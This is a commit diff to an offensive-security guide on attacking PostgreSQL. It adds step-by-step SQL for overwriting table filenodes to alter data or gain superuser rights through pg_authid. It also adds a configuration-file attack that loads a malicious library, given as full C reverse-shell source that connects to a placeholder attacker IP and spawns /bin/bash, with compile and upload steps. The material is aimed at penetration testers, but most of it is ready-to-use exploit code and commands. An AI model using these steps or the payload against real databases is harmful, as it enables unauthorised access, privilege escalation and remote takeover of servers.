Update pentesting-postgresql.md

This commit is contained in:
Maksym Vatsyk 2024-02-13 22:32:32 +01:00 committed by GitHub
parent a7d59856c3
commit 11c80bb962
No known key found for this signature in database
GPG key ID: B5690EEEBB952194

View file

@ -339,6 +339,67 @@ However, there are **other techniques to upload big binary files:**
{% embed url="https://go.intigriti.com/hacktricks" %}
### Updating PostgreSQL table data via local file write
If you have the necessary permissions to read and write PostgreSQL server files, you can update any table on the server by overwriting the associated file node in [the PostgreSQL data directory](https://www.postgresql.org/docs/8.1/storage.html).
More on this technique [here](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
Required steps:
1. Obtain the PostgreSQL data directory
```sql
SELECT setting FROM pg_settings WHERE name = 'data_directory';
```
**Note:** If you are unable to retrieve the current data directory path from settings, you can query the major PostgreSQL version through the `SELECT version()` query and try to brute-force the path. Common data directory paths on Unix installations of PostgreSQL are `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. A common cluster name is `main`.
2. Obtain a relative path to the filenode, associated with the target table
```sql
SELECT pg_relation_filepath('{TABLE_NAME}')
```
This query should return something like `base/3/1337`. The full path on disk will be `$DATA_DIRECTORY/base/3/1337`, i.e. `/var/lib/postgresql/13/main/base/3/1337`.
3. Download the filenode through the `lo_*` functions
```sql
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
```
4. Get the datatype, associated with the target table
```sql
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
```
5. Use the [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) to [edit the filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); set all `rol*` boolean flags to 1 for full permissions.
```bash
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
```
![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
7. Re-upload the edited filenode via the `lo_*` functions, and overwrite the original file on the disk
```sql
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
```
8. *(Optionally)* Clear the in-memory table cache by running an expensive SQL query
```sql
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
```
9. You should now see updated table values in the PostgreSQL.
You can also become a superadmin by editing the `pg_authid` table. **See [the following section](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables)**.
## RCE
### **RCE to program**
@ -392,8 +453,11 @@ Once you have **learned** from the previous post **how to upload binary files**
{% endcontent-ref %}
### PostgreSQL configuration file RCE
{% hint style="info" %}
The following RCE vectors are especially useful in constrained SQLi contexts, as all steps can be performed through nested SELECT statements
{% endhint %}
The **configuration file** of postgresql is **writable** by the **postgres user** which is the one running the database, so as **superuser** you can write files in the filesystem, and therefore you can **overwrite this file.**
The **configuration file** of PostgreSQL is **writable** by the **postgres user**, which is the one running the database, so as **superuser**, you can write files in the filesystem, and therefore you can **overwrite this file.**
![](<../.gitbook/assets/image (303).png>)
@ -436,6 +500,69 @@ The general steps are:
3. Reload the config: `SELECT pg_reload_conf()`
4. Force the WAL operation to run, which will call the archive command: `SELECT pg_switch_wal()` or `SELECT pg_switch_xlog()` for some Postgres versions
#### **RCE with preload libraries**
More information [about this technique here](https://adeadfed.com/posts/postgresql-select-only-rce/).
This attack vector takes advantage of the following configuration variables:
- `session_preload_libraries` -- libraries that will be loaded by the PostgreSQL server at the client connection.
- `dynamic_library_path` -- list of directories where the PostgreSQL server will search for the libraries.
We can set the `dynamic_library_path` value to a directory, writable by the `postgres` user running the database, e.g., `/tmp/` directory, and upload a malicious `.so` object there. Next, we will force the PostgreSQL server to load our newly uploaded library by including it in the `session_preload_libraries` variable.
The attack steps are:
1. Download the original `postgresql.conf`
2. Include the `/tmp/` directory in the `dynamic_library_path` value, e.g. `dynamic_library_path = '/tmp:$libdir'`
3. Include the malicious library name in the `session_preload_libraries` value, e.g. `session_preload_libraries = 'payload.so'`
4. Check major PostgreSQL version via the `SELECT version()` query
5. Compile the malicious library code with the correct PostgreSQL dev package
Sample code:
```c
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _init() {
/*
code taken from https://www.revshells.com/
*/
int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}
```
Compiling the code:
```bash
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
```
6. Upload the malicious `postgresql.conf`, created in steps 2-3, and overwrite the original one
7. Upload the `payload.so` from step 5 to the `/tmp` directory
8. Reload the server configuration by restarting the server or invoking the `SELECT pg_reload_conf()` query
9. At the next DB connection, you will receive the reverse shell connection.
## **Postgres Privesc**
### CREATEROLE Privesc
@ -624,6 +751,25 @@ And then **execute commands**:
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
{% endcontent-ref %}
### Privesc by Overwriting Internal PostgreSQL Tables
{% hint style="info" %}
The following privesc vector is especially useful in constrained SQLi contexts, as all steps can be performed through nested SELECT statements
{% endhint %}
If you can **read and write PostgreSQL server files**, you can **become a superuser** by overwriting the PostgreSQL on-disk filenode, associated with the internal `pg_authid` table.
Read more about this technique [here](https://adeadfed.com/posts/updating-postgresql-data-without-update/).
The attack steps are:
1. Obtain the PostgreSQL data directory
2. Obtain a relative path to the filenode, associated with the `pg_authid` table
3. Download the filenode through the `lo_*` functions
4. Get the datatype, associated with the `pg_authid` table
5. Use the [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) to [edit the filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); set all `rol*` boolean flags to 1 for full permissions.
7. Re-upload the edited filenode via the `lo_*` functions, and overwrite the original file on the disk
8. *(Optionally)* Clear the in-memory table cache by running an expensive SQL query
9. You should now have the privileges of a full superadmin.
## **POST**
```